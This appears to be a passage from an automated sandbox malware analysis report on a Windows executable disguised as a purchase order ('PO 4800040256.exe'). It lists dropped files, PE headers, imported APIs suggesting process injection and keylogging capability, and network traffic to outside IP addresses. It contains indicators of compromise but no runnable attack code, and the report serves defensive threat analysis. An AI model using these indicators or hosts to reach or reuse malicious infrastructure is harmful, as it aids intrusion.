                                                                                                                                                                    SHA-256:F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
                                                                                                                                                                    SHA-512:18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
                                                                                                                                                                    Malicious:false
                                                                                                                                                                    Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\caulds

                                                                                                                                                                    Download File
                                                                                                                                                                    Process:C:\Users\user\Desktop\PO 4800040256.exe
                                                                                                                                                                    File Type:data
                                                                                                                                                                    Category:dropped
                                                                                                                                                                    Size (bytes):287232
                                                                                                                                                                    Entropy (8bit):7.995134844516049
                                                                                                                                                                    Encrypted:true
                                                                                                                                                                    SSDEEP:6144:7LouhLaRuPehIl8O2H/IWunXJll0uHDh29goVMHC1F:3DuuPjI/4Jll0ut9i1F
                                                                                                                                                                    MD5:F7C7450891161B232C8A97181D65D606
                                                                                                                                                                    SHA1:5DAE1FF8FEE59B5556696ACA42CBF4EEE4A44897
                                                                                                                                                                    SHA-256:F36CD036C5EEB4AC2000C1AAA30FFFD64551AE159BE26BFA8708E3F7FAC39DA7
                                                                                                                                                                    SHA-512:187960A83183AD8BC1BD10DAEE42204C4D2459AFD46207E6D1D8B0BCA6C8C7C6D0972458930886A29A3EFC2D52831E96A1C4F5B09352ECBF8CA78F24CDAC01C8
                                                                                                                                                                    Malicious:false
                                                                                                                                                                    Preview:.c.`.M058..X...t.R2....1=...W9I29M058RUNQNI39HPR14CZ92597J.9I27R.;8.\.p.H..i.:XGc*K]RKV'wZ(\W"D.Z7u<$ iZWh..b..5]W.4:@s9I29M05AS\.l....(7..T$.#....*0.S....U_.O...uS^..;R\~:^.597JW9I2i.05tSTN.j9HPR14CZ.278<K\9Ib=M058RUNQN.&9HPB14C:=259wJW)I29O05>RUNQNI3?HPR14CZ9R197HW9I29M25x.UNANI#9HPR!4CJ92597JG9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUN.:,KMHPR.zGZ9"597.S9I"9M058RUNQNI39HpR1TCZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058RUNQNI39HPR14CZ92597JW9I29M058R

                                                                                                                                                                    Static File Info

                                                                                                                                                                    General

                                                                                                                                                                    File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                    Entropy (8bit):7.510407505696909
                                                                                                                                                                    TrID:
                                                                                                                                                                    • Win32 Executable (generic) a (10002005/4) 95.11%
                                                                                                                                                                    • AutoIt3 compiled script executable (510682/80) 4.86%
                                                                                                                                                                    • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                    • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                    • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                    File name:PO 4800040256.exe
                                                                                                                                                                    File size:1'325'585 bytes
                                                                                                                                                                    MD5:5b2622fd1827784342926260a3b90eed
                                                                                                                                                                    SHA1:61baea82d03e00bf5a24ba998b69a168c7d1ec32
                                                                                                                                                                    SHA256:bcd71bc0ed5755a4570ef469b4c3db4aec9c0dea4b3012d921e392c7636c4ef4
                                                                                                                                                                    SHA512:595e3c6328dd17dcce659c79b5360955fac6beaf4a80096b63f5c52f15199300241c2ee2200e1bb6ebefbafd81e09690c03b53bd3b1514c070cc48cd3ba486fa
                                                                                                                                                                    SSDEEP:24576:ffmMv6Ckr7Mny5QLVdTT+mVZZZ/O+aPJcCeFdLP5pzA:f3v+7/5QLVdf+mVbaKHJPvzA
                                                                                                                                                                    TLSH:8055F112B7D680B2D9A338B1193BE32B9B3575194327C4CB97E42E779F211409B3B762
                                                                                                                                                                    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........

                                                                                                                                                                    File Icon

                                                                                                                                                                    Icon Hash:1733312925935517

                                                                                                                                                                    Static PE Info

                                                                                                                                                                    General

                                                                                                                                                                    Entrypoint:0x416310
                                                                                                                                                                    Entrypoint Section:.text
                                                                                                                                                                    Digitally signed:false
                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                    Subsystem:windows gui
                                                                                                                                                                    Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                                                                                                                                    DLL Characteristics:TERMINAL_SERVER_AWARE
                                                                                                                                                                    Time Stamp:0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
                                                                                                                                                                    TLS Callbacks:
                                                                                                                                                                    CLR (.Net) Version:
                                                                                                                                                                    OS Version Major:5
                                                                                                                                                                    OS Version Minor:0
                                                                                                                                                                    File Version Major:5
                                                                                                                                                                    File Version Minor:0
                                                                                                                                                                    Subsystem Version Major:5
                                                                                                                                                                    Subsystem Version Minor:0
                                                                                                                                                                    Import Hash:aaaa8913c89c8aa4a5d93f06853894da

                                                                                                                                                                    Entrypoint Preview

                                                                                                                                                                    Instruction
                                                                                                                                                                    call 00007F3790DB2F5Ch
                                                                                                                                                                    jmp 00007F3790DA6D2Eh
                                                                                                                                                                    int3
                                                                                                                                                                    int3
                                                                                                                                                                    int3
                                                                                                                                                                    int3
                                                                                                                                                                    int3
                                                                                                                                                                    int3
                                                                                                                                                                    push ebp
                                                                                                                                                                    mov ebp, esp
                                                                                                                                                                    push edi
                                                                                                                                                                    push esi
                                                                                                                                                                    mov esi, dword ptr [ebp+0Ch]
                                                                                                                                                                    mov ecx, dword ptr [ebp+10h]
                                                                                                                                                                    mov edi, dword ptr [ebp+08h]
                                                                                                                                                                    mov eax, ecx
                                                                                                                                                                    mov edx, ecx
                                                                                                                                                                    add eax, esi
                                                                                                                                                                    cmp edi, esi
                                                                                                                                                                    jbe 00007F3790DA6EBAh
                                                                                                                                                                    cmp edi, eax
                                                                                                                                                                    jc 00007F3790DA705Ah
                                                                                                                                                                    cmp ecx, 00000100h
                                                                                                                                                                    jc 00007F3790DA6ED1h
                                                                                                                                                                    cmp dword ptr [004A94E0h], 00000000h
                                                                                                                                                                    je 00007F3790DA6EC8h
                                                                                                                                                                    push edi
                                                                                                                                                                    push esi
                                                                                                                                                                    and edi, 0Fh
                                                                                                                                                                    and esi, 0Fh
                                                                                                                                                                    cmp edi, esi
                                                                                                                                                                    pop esi
                                                                                                                                                                    pop edi
                                                                                                                                                                    jne 00007F3790DA6EBAh
                                                                                                                                                                    pop esi
                                                                                                                                                                    pop edi
                                                                                                                                                                    pop ebp
                                                                                                                                                                    jmp 00007F3790DA731Ah
                                                                                                                                                                    test edi, 00000003h
                                                                                                                                                                    jne 00007F3790DA6EC7h
                                                                                                                                                                    shr ecx, 02h
                                                                                                                                                                    and edx, 03h
                                                                                                                                                                    cmp ecx, 08h
                                                                                                                                                                    jc 00007F3790DA6EDCh
                                                                                                                                                                    rep movsd
                                                                                                                                                                    jmp dword ptr [00416494h+edx*4]
                                                                                                                                                                    nop
                                                                                                                                                                    mov eax, edi
                                                                                                                                                                    mov edx, 00000003h
                                                                                                                                                                    sub ecx, 04h
                                                                                                                                                                    jc 00007F3790DA6EBEh
                                                                                                                                                                    and eax, 03h
                                                                                                                                                                    add ecx, eax
                                                                                                                                                                    jmp dword ptr [004163A8h+eax*4]
                                                                                                                                                                    jmp dword ptr [004164A4h+ecx*4]
                                                                                                                                                                    nop
                                                                                                                                                                    jmp dword ptr [00416428h+ecx*4]
                                                                                                                                                                    nop
                                                                                                                                                                    mov eax, E4004163h
                                                                                                                                                                    arpl word ptr [ecx+00h], ax
                                                                                                                                                                    or byte ptr [ecx+eax*2+00h], ah
                                                                                                                                                                    and edx, ecx
                                                                                                                                                                    mov al, byte ptr [esi]
                                                                                                                                                                    mov byte ptr [edi], al
                                                                                                                                                                    mov al, byte ptr [esi+01h]
                                                                                                                                                                    mov byte ptr [edi+01h], al
                                                                                                                                                                    mov al, byte ptr [esi+02h]
                                                                                                                                                                    shr ecx, 02h
                                                                                                                                                                    mov byte ptr [edi+02h], al
                                                                                                                                                                    add esi, 03h
                                                                                                                                                                    add edi, 03h
                                                                                                                                                                    cmp ecx, 08h
                                                                                                                                                                    jc 00007F3790DA6E7Eh

                                                                                                                                                                    Rich Headers

                                                                                                                                                                    Programming Language:
                                                                                                                                                                    • [ASM] VS2008 SP1 build 30729
                                                                                                                                                                    • [ C ] VS2008 SP1 build 30729
                                                                                                                                                                    • [C++] VS2008 SP1 build 30729
                                                                                                                                                                    • [ C ] VS2005 build 50727
                                                                                                                                                                    • [IMP] VS2005 build 50727
                                                                                                                                                                    • [ASM] VS2008 build 21022
                                                                                                                                                                    • [RES] VS2008 build 21022
                                                                                                                                                                    • [LNK] VS2008 SP1 build 30729

                                                                                                                                                                    Data Directories

                                                                                                                                                                    NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_IMPORT0x8cd3c0x154.rdata
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0xab0000x9298.rsrc
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_IAT0x820000x840.rdata
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                    Sections

                                                                                                                                                                    NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                    .text0x10000x800170x802006c20c6bf686768b6f134f5bd508171bcFalse0.5602991615853659data6.634688230255595IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                    .rdata0x820000xd95c0xda00f979966509a93083729d23cdfd2a6f2dFalse0.36256450688073394data4.880040824124099IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                    .data0x900000x1a5180x6800e5d77411f751d28c6eee48a743606795False0.1600060096153846data2.2017649896261107IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                    .rsrc0xab0000x92980x9400f6be76de0ef2c68f397158bf01bdef3eFalse0.4896801097972973data5.530303089784181IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                                                                    Resources

                                                                                                                                                                    NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                    RT_ICON0xab5c80x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                                                                                                                                                    RT_ICON0xab6f00x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                                                                                                                                                    RT_ICON0xab8180x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                                                                                                                                    RT_ICON0xab9400x668Device independent bitmap graphic, 48 x 96 x 4, image size 1152EnglishGreat Britain0.48109756097560974
                                                                                                                                                                    RT_ICON0xabfa80x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512EnglishGreat Britain0.5672043010752689
                                                                                                                                                                    RT_ICON0xac2900x128Device independent bitmap graphic, 16 x 32 x 4, image size 128EnglishGreat Britain0.6418918918918919
                                                                                                                                                                    RT_ICON0xac3b80xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsEnglishGreat Britain0.7044243070362474
                                                                                                                                                                    RT_ICON0xad2600x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsEnglishGreat Britain0.8077617328519856
                                                                                                                                                                    RT_ICON0xadb080x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsEnglishGreat Britain0.5903179190751445
                                                                                                                                                                    RT_ICON0xae0700x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishGreat Britain0.5503112033195021
                                                                                                                                                                    RT_ICON0xb06180x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishGreat Britain0.6050656660412758
                                                                                                                                                                    RT_ICON0xb16c00x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishGreat Britain0.7553191489361702
                                                                                                                                                                    RT_MENU0xb1b280x50dataEnglishGreat Britain0.9
                                                                                                                                                                    RT_DIALOG0xb1b780xfcdataEnglishGreat Britain0.6507936507936508
                                                                                                                                                                    RT_STRING0xb1c780x530dataEnglishGreat Britain0.33960843373493976
                                                                                                                                                                    RT_STRING0xb21a80x690dataEnglishGreat Britain0.26964285714285713
                                                                                                                                                                    RT_STRING0xb28380x43adataEnglishGreat Britain0.3733826247689464
                                                                                                                                                                    RT_STRING0xb2c780x5fcdataEnglishGreat Britain0.3087467362924282
                                                                                                                                                                    RT_STRING0xb32780x65cdataEnglishGreat Britain0.34336609336609336
                                                                                                                                                                    RT_STRING0xb38d80x388dataEnglishGreat Britain0.377212389380531
                                                                                                                                                                    RT_STRING0xb3c600x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishUnited States0.502906976744186
                                                                                                                                                                    RT_GROUP_ICON0xb3db80x84dataEnglishGreat Britain0.6439393939393939
                                                                                                                                                                    RT_GROUP_ICON0xb3e400x14dataEnglishGreat Britain1.15
                                                                                                                                                                    RT_GROUP_ICON0xb3e580x14dataEnglishGreat Britain1.25
                                                                                                                                                                    RT_GROUP_ICON0xb3e700x14dataEnglishGreat Britain1.25
                                                                                                                                                                    RT_VERSION0xb3e880x19cdataEnglishGreat Britain0.5339805825242718
                                                                                                                                                                    RT_MANIFEST0xb40280x26cASCII text, with CRLF line terminatorsEnglishUnited States0.5145161290322581

                                                                                                                                                                    Imports

                                                                                                                                                                    DLLImport
                                                                                                                                                                    WSOCK32.dll__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
                                                                                                                                                                    VERSION.dllVerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
                                                                                                                                                                    WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                                                                                                                                    COMCTL32.dllImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
                                                                                                                                                                    MPR.dllWNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
                                                                                                                                                                    WININET.dllInternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
                                                                                                                                                                    PSAPI.DLLEnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
                                                                                                                                                                    USERENV.dllCreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
                                                                                                                                                                    KERNEL32.dllHeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, lstrcmpiW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, GetProcessHeap, OutputDebugStringW, GetLocalTime, CompareStringW, CompareStringA, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetComputerNameW, GetWindowsDirectoryW, GetSystemDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ResumeThread, GetStartupInfoW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameA, HeapReAlloc, HeapCreate, SetHandleCount, GetFileType, GetStartupInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, LCMapStringA, RtlUnwind, SetFilePointer, GetTimeZoneInformation, GetTimeFormatA, GetDateFormatA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetTickCount, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEndOfFile, EnumResourceNamesW, SetEnvironmentVariableA
                                                                                                                                                                    USER32.dllSetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, CopyImage, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, PeekMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, MoveWindow, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, GetMenuItemID, TranslateMessage, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, keybd_event, LoadImageW, GetWindowLongW
                                                                                                                                                                    GDI32.dllDeleteObject, GetObjectW, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, BeginPath, Rectangle, GetDeviceCaps, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, SetViewportOrgEx
                                                                                                                                                                    COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                                                                                                                                                                    ADVAPI32.dllRegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, RegEnumKeyExW, CloseServiceHandle, UnlockServiceDatabase, LockServiceDatabase, OpenSCManagerW, InitiateSystemShutdownExW, AdjustTokenPrivileges, RegCloseKey, RegQueryValueExW, RegOpenKeyExW, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, SetSecurityDescriptorDacl, CopySid, LogonUserW, GetTokenInformation, GetAclInformation, GetAce, AddAce, GetSecurityDescriptorDacl
                                                                                                                                                                    SHELL32.dllDragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                                                                                                                                                    ole32.dllOleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, StringFromCLSID, IIDFromString, StringFromIID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize
                                                                                                                                                                    OLEAUT32.dllSafeArrayAllocData, SafeArrayAllocDescriptorEx, SysAllocString, OleLoadPicture, SafeArrayGetVartype, SafeArrayDestroyData, SafeArrayAccessData, VarR8FromDec, VariantTimeToSystemTime, VariantClear, VariantCopy, VariantInit, SafeArrayDestroyDescriptor, LoadRegTypeLib, GetActiveObject, SafeArrayUnaccessData

                                                                                                                                                                    Possible Origin

                                                                                                                                                                    Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                    EnglishGreat Britain
                                                                                                                                                                    EnglishUnited States

                                                                                                                                                                    Network Behavior

                                                                                                                                                                    Network Port Distribution

                                                                                                                                                                    TCP Packets

                                                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                    Oct 25, 2024 16:27:31.492058992 CEST4978580192.168.2.5172.81.61.224
                                                                                                                                                                    Oct 25, 2024 16:27:31.497469902 CEST8049785172.81.61.224192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:31.497594118 CEST4978580192.168.2.5172.81.61.224
                                                                                                                                                                    Oct 25, 2024 16:27:31.505418062 CEST4978580192.168.2.5172.81.61.224
                                                                                                                                                                    Oct 25, 2024 16:27:31.510759115 CEST8049785172.81.61.224192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:31.989129066 CEST8049785172.81.61.224192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:31.989262104 CEST4978580192.168.2.5172.81.61.224
                                                                                                                                                                    Oct 25, 2024 16:27:31.990627050 CEST4978580192.168.2.5172.81.61.224
                                                                                                                                                                    Oct 25, 2024 16:27:31.996133089 CEST8049785172.81.61.224192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:47.093832016 CEST6208280192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:27:47.359324932 CEST806208281.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:47.361746073 CEST6208280192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:27:47.373028994 CEST6208280192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:27:47.380152941 CEST806208281.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:48.236165047 CEST806208281.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:48.276896000 CEST6208280192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:27:48.567435026 CEST806208281.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:48.567569017 CEST6208280192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:27:48.886348009 CEST6208280192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:27:49.905642986 CEST6209780192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:27:49.911783934 CEST806209781.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:49.911989927 CEST6209780192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:27:49.923149109 CEST6209780192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:27:49.928704977 CEST806209781.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:50.769629955 CEST806209781.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:50.823807955 CEST6209780192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:27:50.899298906 CEST806209781.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:50.899529934 CEST6209780192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:27:51.433305025 CEST6209780192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:27:52.451716900 CEST6211480192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:27:52.457336903 CEST806211481.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:52.457412958 CEST6211480192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:27:52.467803001 CEST6211480192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:27:52.473308086 CEST806211481.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:52.473536015 CEST806211481.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:53.346615076 CEST806211481.2.196.19192.168.2.5
